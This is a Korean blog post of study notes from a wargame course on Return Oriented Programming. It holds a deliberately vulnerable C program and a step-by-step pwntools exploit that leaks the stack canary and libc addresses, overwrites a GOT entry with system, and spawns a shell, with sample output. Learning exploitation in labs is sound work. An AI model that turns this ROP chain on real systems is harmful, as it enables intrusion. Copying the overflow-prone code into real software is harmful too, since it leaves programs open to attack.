Return Oriented Programming
ROP : 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
- 공격자는 이를 이용해서 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
- ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
ROP 실습 코드
분석 및 설계
보호 기법
checksec으로 바이너리에 적용된 보호기법을 파악한다.
실습환경에는 ASLR이 적용되어 있고, 바이너리에는 카나리와 NX가 적용되어 있다.
코드 분석
바이너리에서 system 함수를 호출하지 않아서 PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않는다.
따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고민해야 한다.
익스플로잇 설계
1. 카나리 우회
2. system 함수의 주소 계산
- system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다.
- 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않지만 read,puts, printf는 GOT에 등록되어 있다.
- main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.
- libc안에서 두 데이터 사이의 거리(Offset)는 항상 같기 때문에 다른 데이터의 주소를 계산할 수 있다.
3. "/bin/sh"
이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다.
system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.
4. GOT Overwrite
system 함수와 "/bin/sh" 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. → ret2main이라고 부름
알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성해야 한다.
익스플로잇
카나리 우회
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
Canary : 0x26408e881a104700
system 함수의 주소 계산
read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산한다.
pwntools에는 ELF.symbols 이라는 메소드는 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용된다.
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.interactive()
python3 rop.py
[+] Starting local process './rop': pid 2094
[*] '/home/dreamhack/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] canary: 0xbad4a1c181fbac00
[+] read: 0x7f54a0e6a980
[+] libc_base: 0x7f54a0d56000
[+] system: 0x7f54a0da6d60
...
GOT Overwrite 및 “/bin/sh” 입력
“/bin/sh”는 덮어쓸 GOT 엔트리 뒤에 같이 입력한다.
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
셸 획득
read 함수, pop rdi; ret 가젯, “/bin/sh”의 주소(read_got + 8 )를 이용하여 셸을 획득하는 익스플로잇을 작성
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
$ python3 rop.py
[+] Starting local process './rop': pid 2673
[*] '/home/dreamhack/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] canary: 0xc5b7bc077c839b00
[+] read: 0x7faad966a180
[+] libc base: 0x7faad955a000
[+] system: 0x7faad95a94e0
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
- Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있다.
- GOT Overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법
라이브러리부터 가젯을 조회할 수 없었다..
디버깅으로 주소를 찾기도 하고 libc.so.6 파일이 2개 존재해서 경로를 바꾸면서 코드를 수정해도 오류가 해결되지 않았다.
셸 획득까지 하지 못하고 개념만 이해해서 아쉽지만 다음에 다른 방법을 찾아 오류를 해결해봐야겠다.
'Dreamhack > System Hacking' 카테고리의 다른 글
rop (1) | 2024.05.29 |
---|---|
Return to Library (0) | 2024.05.29 |
Exploit Tech: Return to Library (0) | 2024.05.29 |
Background: Library - Static Link vs. Dynamic Link (0) | 2024.05.22 |
Mitigation: NX & ASLR (0) | 2024.05.22 |